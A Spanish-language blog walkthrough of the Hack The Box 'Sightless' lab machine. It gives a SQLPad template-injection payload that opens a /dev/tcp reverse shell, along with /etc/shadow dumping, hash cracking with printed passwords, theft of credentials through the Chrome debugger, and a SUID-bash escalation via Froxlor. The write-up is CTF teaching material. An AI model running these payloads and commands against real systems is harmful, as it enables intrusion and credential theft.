...
  • Dificultad: Fácil
  • Sistema: Linux
  • Fecha: 7/9/2024

En este walkthrough vamos a abordar la máquina Sightless de Hack The Box, una maquina Linux y que tiene un dificultad fácil.

Empecemos!

Como es habitual, empezamos escaneando puertos.

nmap 10.10.11.32

Nos devuelve lo siguiente:

Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.040s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

Se puede observar que contamos con 3 puertos abiertos, empezamos mirando que hay en la web

Recuerda añadir sightless.htb a tu /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.10.11.32 sightless.htb

Vemos que la página carga correctamente

Si exploramos un poco la web, podemos observar que nos ofrece una demo de SQLPad

Nos redirige a http://sqlpad.sightless.htb/

Recuerda que también lo deberás añadir a tu /etc/hosts

Antes de nada, revisaremos que versión de SQLPad se esta usando, por si tiene alguna vulnerabilidad

Si le damos a los 3 puntitos de arriba a derecha podemos observar la versión:

Buscaremos en Google si existe alguna vulnerabilidad para esta versión.

Efectivamente existe una vulnerabilidad para dicha versión

CVE-2022-0944

Se trata de una vulnerabilidad RCE (Remote Code Execution), que nos permite ejecutar código remoto en la maquina victima.

1º Opción: Usando un script

El usuario shhrew de Github nos proporciona un script para explotar esta vulnerabilidad

Nos descargamos el repositorio en nuestra maquina

git clone https://github.com/shhrew/CVE-2022-0944

Seguimos el procedimiento inicial que nos indica sshrew que sería:

# instalar requisitos 
pip install -r requirements.txt

Antes de ejecutar el exploit, abrimos una terminal:

nc -lvnp <puerto>

Elige el puerto que quieras.

Netcat empezará a escuchar por tal puerto, ahora si podremos ejecutar el exploit

listening on [any] 8686 ...

Para ejecutar el script seguiremos los pasos que nos indican en el repo de Github

python3 main.py http://sqlpad.sightless.htb <tu ip> <tu puerto>

Al ejecutarlo en la terminal de netcat nos aparecerá un rev shell

connect to [10.10.10.10] from (UNKNOWN) [10.10.11.32] 52142
#

2º Opción: Mediante SQLPad

Si no quieres usar el script existe una forma, incluso mas fácil, de explotar esta vulnerabilidad.

Para ello, vuelve a http://sqlpad.sightless.htb/ y haz click a Connections > Add connection

Se nos abrirá el siguiente desplegable

En Driver selecciona MySQL

En Database, deberemos colocar el payload, que podemos encontrar en el blog de huntr.

{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}

Deberemos modificarlo para que nos permita conseguir una rev shell, para ello yo use como referencia RevShells, un generador online que nos facilita el trabajo.

{{ process.mainModule.require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/< tu up >/< tu puerto > 0>&1"') }}

Recuerda tener netcat preparado, haz click en Test y deberíamos tener ya la rev shell

nc -lvnp 8888

listening on [any] 8888 ...

connect to [10.10.10.10] from (UNKNOWN) [10.10.11.32] 49520
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# 

Ya estamos dentro de la maquina! o de un container al menos, ya que si comprobamos la IP podemos observar que no es la IP de la maquina.

# hostname -I
172.17.0.2

Buscamos algo que nos permita «escapar» del container

Haciendo una búsqueda encuentro un script «docker-entrypoint» que nos ejecuta cualquier archivo acabado en .sh en el directorio /etc/docker-entrypoint.d

Pero yo al menos no he encontrado una forma de aprovechar esto, ya que ya somos usuario root en el container.

Seguimos el procedimiento habitual, buscaremos los usuarios en el sistema

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

El usuario michael parece sospechoso, ya que no es ninguno del sistema, comprobaremos el hash por si tiene una contraseña débil

cat /etc/shadow

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

Copiamos el hash en un archivo y probamos con john

nano hash

$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/

Ahora ejecutaremos john

john hash -w=/usr/share/wordlist/rockyou.txt

Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
insaneclownposse (?)     
1g 0:00:00:02 DONE (2024-09-20 00:00) 0.4237g/s 25166p/s 25166c/s 25166C/s XIOMARA..062906
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos la contraseña del usuario michael.

insaneclownposse

Nos conectamos por SSH esta vez a la maquina host.

ssh [email protected]

Estamos dentro! ya podemos ver la flag del usuario.

michael@sightless:~$ ls
user.txt

Ahora vamos a por el root!

Comenzaremos comprobando que versión de kernel se está usando.

michael@sightless:~$ uname -a
Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Tenemos las 5.15.0-119, en un principio pensé que podría usar DirtyPipe, pero está se parcheó en la 5.15.0-102, puedes consultar mas detalles aquí.

Nos toca seguir buscando!

Usando como ayuda GTFOBins, intento buscar algo para hacer la escalación de privilegios pero no encuentro nada.

Recordemos, que en la pagina del principio nos decía que uno de los servicios que ofrecía esta empresa ficticia era Floxlor, un software para administrar servidores.

Pero esto no está expuesto, revisemos los puertos de la maquina.

michael@sightless:~$ netstat -tunlp

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:34325         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:46065         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:45895         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -       

Se puede observar que la que mas probable que sea es el 8080, ya que el 80 es la web que podemos ver y el 3000 es SQLPad.

Para poder acceder tendremos que hacer una redirección de puertos de la maquina remota a nuestra maquina.

Para ello, yo lo haré mediante SSH, siguiendo la documentación que encontré aquí logro redirigir el puerto 8080 a mi maquina.

La opción -L habilita la redirección de puertos.

ssh -L 8080:127.0.0.1:8080 [email protected]

Si ya estas usando el puerto 8080 puedes cambiarlo por el que prefieras, el primer puerto es el que se usará en tu maquina y el segundo el que debe ser redirigido en la maquina remota.

ssh -L 9696:127.0.0.1:8080 [email protected]

Comprobamos en el navegador si logramos ver algo.

Podemos ver un panel de login, pero no contamos con credenciales.

Seguimos buscando algo que nos pueda ayudar.

Compruebo los puertos nuevamente, existen 3 puertos abiertos que parecen generarse aleatoriamente.

michael@sightless:~$ netstat -lp

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:http-alt      0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:34325         0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:46065         0.0.0.0:*               LISTEN      -                   
tcp        0      0 localhost:45895         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -                   
tcp6       0      0 [::]:ftp                [::]:*                  LISTEN      -                   
udp        0      0 localhost:domain        0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*                           -   

Viendo los procesos se puede observar que chrome se está ejecutando

michael@sightless:~$ ps aux

----------------------------------------------------------------------------------------------
john        1752  0.6  3.0 34003192 120260 ?     Sl   Sep21   8:59 /opt/google/chrome/chrome 
john        1754  0.0  0.0 33575860 3136 ?       Sl   Sep21   0:00 /opt/google/chrome/chrome_crashpad_handler 
john        1758  0.0  1.4 34112448 56372 ?      S    Sep21   0:00 /opt/google/chrome/chrome 
john        1759  0.0  1.4 34112456 56780 ?      S    Sep21   0:00 /opt/google/chrome/chrome 
john        1773  0.5  3.2 34365416 129572 ?     Sl   Sep21   6:51 /opt/google/chrome/chrome 
john        1775  0.1  2.2 33900068 87544 ?      Sl   Sep21   1:56 /opt/google/chrome/chrome 
john        1803  3.2  5.7 1186799072 227616 ?   Sl   Sep21  41:49 /opt/google/chrome/chrome
----------------------------------------------------------------------------------------------

Si hacemos un grep con uno de eso puertos encontramos un script del usuario john

michael@sightless:~$ ps aux | grep "46065"

john        1741  0.4  0.3 33630172 15032 ?      Sl   Sep21   5:19 /home/john/automation/chromedriver --port=46065

Lastimosamente no podemos acceder a su directorio home, pero nos da la pista que es algo relacionado con Chrome

Tras buscar y leer varios blog, creo que se trata de la consola de desarrollo de Chrome.

Os dejo lo que encontré

Devforth – Chrome remote debugging setup

Dev.to – Guide to Chrome Remote Debugging

Exploit Notes – Chrome Remote Debugger Pentesting

Seguimos el ejemplo aplicando los puertos que están abiertos mediante SSH como anteriormente.

Redirecciona todos esos puertos, que en este caso es

ssh -L 46065:127.0.0.1:46065 -L 34325:127.0.0.1:34325 -L 33060:127.0.0.1:33060 -L 45895:127.0.0.1:45895 [email protected]

Abrimos el chrome, y escribimos chrome://inspect/#devices en la barra de URL

Tendremos que configurar los puertos que anteriormente redireccionamos

Logramos conectar con el objetivo

Haz click en «inspect», se abrirá las herramientas de desarrollador

Se puede observar que cada X segundos se loguea alguien, si hacemos click en index.php y posteriormente en Payload, como puedes observar podemos ver las credenciales.

Conseguimos el usuario y contraseña del panel de Froxlor

admin

ForlorfroxAdmin

Probamos las credenciales y logramos iniciar sesión.

Una vez ya dentro todo se vuelve mas fácil, como puedes observar en el panel lateral izquierdo, contamos con PHP-FPM que nos permite ejecutar código.

Aquí tienes que ser rápido, ya que no estas solo en la maquina y otra persona podría interferir.

Puedes hacerlo de varias formas, copiando el id_rsa del root, copiando la flag o modificando los permisos del binario /bin/bash.

Lo mas rápido es modificar los permisos, para ello

Haz click en Create new PHP version

En php-fpm restart command escribe

chmod 4777 /bin/bash

Posteriormente, guarda los cambios

Ve a System > Settings > PHP-FPM

Deshabilita php-fpm y vuelve a activarlo, esto ejecutará el comando que anteriormente escribimos

Vuelve a la terminal y escribe

michael@sightless:~$ /bin/bash -p

bash-5.1# whoami
root
docker-volumes	root.txt  scripts
bash-5.1# 

Ya somos usuario root y podemos ver la flag!

Recuerda borrar la version para no hacerle spoiler a otro usuario

Gracias por pasarte y si tienes alguna sugerencia no dudes en comentarla

Un saludo!

por andres

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Seraphinite AcceleratorOptimized by Seraphinite Accelerator
Turns on site high speed to be attractive for people and search engines.